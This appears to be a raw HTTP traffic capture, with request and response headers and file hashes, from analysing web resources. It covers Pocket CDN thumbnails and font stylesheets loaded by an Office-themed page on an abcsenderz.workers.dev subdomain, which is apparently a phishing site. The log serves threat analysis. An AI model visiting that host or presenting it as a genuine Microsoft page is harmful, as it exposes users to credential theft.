x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: YeIqeEg2IAMF-XA=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-632254a9-45261b545b58382717b63418;Sampled=0
x-amzn-remapped-date: Wed, 14 Sep 2022 22:24:41 GMT
x-amz-cf-pop: SEA73-P1
x-cache: Hit from cloudfront
x-amz-cf-id: 5nlB_PBHKyP0p9rF3pJiwnoiSXxYvRSVLDNPcg9x_2i-N04HaRH8fA==
via: 1.1 7f5e0d3b9ea85d0d75063a66c0ebc840.cloudfront.net (CloudFront), 1.1 b13f158bdf9805ca47e07c0c35870c12.cloudfront.net (CloudFront), 1.1 google
date: Mon, 19 Sep 2022 04:31:06 GMT
age: 25286
etag: "f5bf6c28f20414c7dd3ac1098defc46d3d68fd99"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   10721
Md5:    87bddc1f919e51c976d5377040861ea6
Sha1:   f5bf6c28f20414c7dd3ac1098defc46d3d68fd99
Sha256: 28541ca828b6358c8e6081e9f2022e7ad18a8adcb3df09a3fa079f32c08fcda6
                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2Fd460ce9f-ea5c-436e-8b02-8ec8233b9681.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
content-length: 5064
x-amzn-requestid: 985dbd5b-3e8a-4e22-a974-1effa6c99112
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: YrOS8FyBoAMFrCQ=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-632790df-201df5494f1513b91eefe9d5;Sampled=0
x-amzn-remapped-date: Sun, 18 Sep 2022 21:42:55 GMT
x-amz-cf-pop: HIO50-C1, SEA73-P1
x-cache: Hit from cloudfront
x-amz-cf-id: RWcHVQkq3COqcWuVRgOdpVDi7VFrdjpu4q-NU0D3iod1B58xF4K_Yw==
via: 1.1 4dde8ec6d6c12741888c2d3a059d4a2e.cloudfront.net (CloudFront), 1.1 cd64decb1403270c914848213601a674.cloudfront.net (CloudFront), 1.1 google
date: Sun, 18 Sep 2022 21:51:55 GMT
age: 49237
etag: "b0ad467f2837d103f8a96fb732bd34176c4c7110"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   5064
Md5:    e4098577adb98eae5ba4a8b5e143df71
Sha1:   b0ad467f2837d103f8a96fb732bd34176c4c7110
Sha256: 83aa54020ffc684690dfb58d78608411de38ab02fee50808a8243c6b388e77c0
                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2Fc97d270b-72af-4a6b-ae64-123f7b52851e.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
content-length: 8735
x-amzn-requestid: 8af37b3f-bacb-4f13-a539-0a8a1e2c7fe8
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: YrN_VHdooAMF8cQ=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-63279061-083f90a5264568d85ce86e5a;Sampled=0
x-amzn-remapped-date: Sun, 18 Sep 2022 21:40:49 GMT
x-amz-cf-pop: SEA19-C1, SEA73-P1
x-cache: Miss from cloudfront
x-amz-cf-id: tPeWvkV7t7BSrnTA0G2Sf_KmuH5M4azBRhaeNuuaeiOW7zB4RhM_mw==
via: 1.1 42ef990e439ae115ff739f04e3945234.cloudfront.net (CloudFront), 1.1 1508efc4152aa1778ed4adecb328b374.cloudfront.net (CloudFront), 1.1 google
date: Sun, 18 Sep 2022 21:51:50 GMT
age: 49242
etag: "a81660dcace8f232018ce9a6d027b271d1f8a863"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   8735
Md5:    3d9fd171b51b27aa84e06e7d5a40116e
Sha1:   a81660dcace8f232018ce9a6d027b271d1f8a863
Sha256: 2c80ffd2c0c451c61623a677d1b17e8e58a40a0a7bdb5ef1cac2610bb0a7e0a8
                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2Faa0051cf-bacd-445a-a6c3-6e5be807c94d.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
content-length: 9773
x-amzn-requestid: a66002a7-8621-4e8c-ba24-ca935485c6ea
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: YeBrlH7vIAMFz8Q=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-6322497d-05c3244840ad5aba14217936;Sampled=0
x-amzn-remapped-date: Wed, 14 Sep 2022 21:37:01 GMT
x-amz-cf-pop: HIO50-C1, SEA73-P1
x-cache: Hit from cloudfront
x-amz-cf-id: Pb3pzSP2mQJVW2ff5ErXKB-jzLuYDSjENRCbzId9adJXEKIrRRihpw==
via: 1.1 cd48ffda04934d18865e47e99ea080bc.cloudfront.net (CloudFront), 1.1 5397b304713f6301c7c94ac084b6ed08.cloudfront.net (CloudFront), 1.1 google
date: Sun, 18 Sep 2022 21:53:29 GMT
age: 49143
etag: "35417f27e4529b172aff7581d25ef8de26158a6c"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   9773
Md5:    a29b48f8601db6bee0408f77ef7e1810
Sha1:   35417f27e4529b172aff7581d25ef8de26158a6c
Sha256: 37f2b7accb42719f1f2c25d371691aaed05160bbb40d4941da2650adc12be316
                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2F9e998cc5-16fd-41d0-80c4-f7b6ce93932c.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
content-length: 5570
x-amzn-requestid: a20f5fb2-9c4a-4124-bc27-6b7cf99c5a73
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: Yn64FEKXoAMFbzw=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-63263e99-0edcfdf505c4467b31355e71;Sampled=0
x-amzn-remapped-date: Sat, 17 Sep 2022 21:39:38 GMT
x-amz-cf-pop: SEA73-P1
x-cache: Hit from cloudfront
x-amz-cf-id: Jp6TEMqaAAIs3jUsysER2sqaEob7LrzeR0vwp5I-gWSZsPxaFW4Vlg==
via: 1.1 1cc6ed0d2d3dd9529ce544f9dfe61a52.cloudfront.net (CloudFront), 1.1 e95ec8f1dc02e32f0cb9e113963ceb4e.cloudfront.net (CloudFront), 1.1 google
date: Sun, 18 Sep 2022 21:49:39 GMT
age: 49373
etag: "7deb4e0fc838bcfffb532ff1f92f4036b35571f2"
cache-control: max-age=3600,public,public
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 296x148, components 3\012- data
Size:   5570
Md5:    5b174f977a78acf5f28935f44cac702d
Sha1:   7deb4e0fc838bcfffb532ff1f92f4036b35571f2
Sha256: 7e87fe13d3127a1c8e89f72c1455349d9edcb89eeb2a9b103d191095ddc69751
                                        
                                            GET /releases/v5.7.0/css/all.css HTTP/1.1 
Host: use.fontawesome.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: http://office949abb2585772ab51a8ad332f13989dcd5d5bb2585772ab51a8ad332f.abcsenderz.workers.dev
Connection: keep-alive
Referer: http://office949abb2585772ab51a8ad332f13989dcd5d5bb2585772ab51a8ad332f.abcsenderz.workers.dev/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         104.21.63.54
HTTP/2 200 OK
content-type: text/css
                                        
date: Mon, 19 Sep 2022 11:32:30 GMT
x-amz-id-2: GTunWv+q4pL7HosTNOnGsA5zAhUDrIfOOv0KUR1JlRdBd7CVLIkxzzh2alzOryhnT6VuDaVu0w4=
x-amz-request-id: 6TCX7EGKSABVFP08
access-control-allow-origin: *
access-control-allow-methods: GET
access-control-max-age: 3000
vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
last-modified: Wed, 30 Jun 2021 15:45:15 GMT
etag: W/"251d28bd755f5269a4531df8a81d5664"
cache-control: max-age=31556926
cf-cache-status: MISS
report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Aiy%2FPedUBMjeO%2Bgws4bA0ShAA7hxMWo3V8Xx%2BQHoZCPGs%2BvBCNQU9oAZYyJv518Cx0uQdalCadt3Wks6vk1%2Bzts%2FhfMY9L545JXofkiQ5LMLvFWgbhfeJC0wmRNY7xocIZUDg0ZO"}],"group":"cf-nel","max_age":604800}
nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
server: cloudflare
cf-ray: 74d2004a6d2a1bfa-OSL
content-encoding: br
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (54456)
Size:   21854
Md5:    fb9fa70993edae187be1ae5ff53e1753
Sha1:   ff5bcf767743cac2f205140ad35a39a898a781c7
Sha256: f44dfae508da666f39e2d696a2f650d1062b43f2f29cfe30b81a6ce5b4ed2b18
                                        
                                            GET /css?family=Archivo+Narrow&display=swap HTTP/1.1 
Host: fonts.googleapis.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://office949abb2585772ab51a8ad332f13989dcd5d5bb2585772ab51a8ad332f.abcsenderz.workers.dev/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                         
                                         142.250.74.42
HTTP/2 200 OK
content-type: text/css; charset=utf-8
                                        
access-control-allow-origin: *
timing-allow-origin: *
link: <https://fonts.gstatic.com>; rel=preconnect; crossorigin
strict-transport-security: max-age=31536000
expires: Mon, 19 Sep 2022 11:32:30 GMT
date: Mon, 19 Sep 2022 11:32:30 GMT
cache-control: private, max-age=86400
cross-origin-opener-policy: same-origin-allow-popups
cross-origin-resource-policy: cross-origin
content-encoding: gzip
server: ESF
x-xss-protection: 0
x-frame-options: SAMEORIGIN
x-content-type-options: nosniff
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
X-Firefox-Spdy: h2


--- Additional Info ---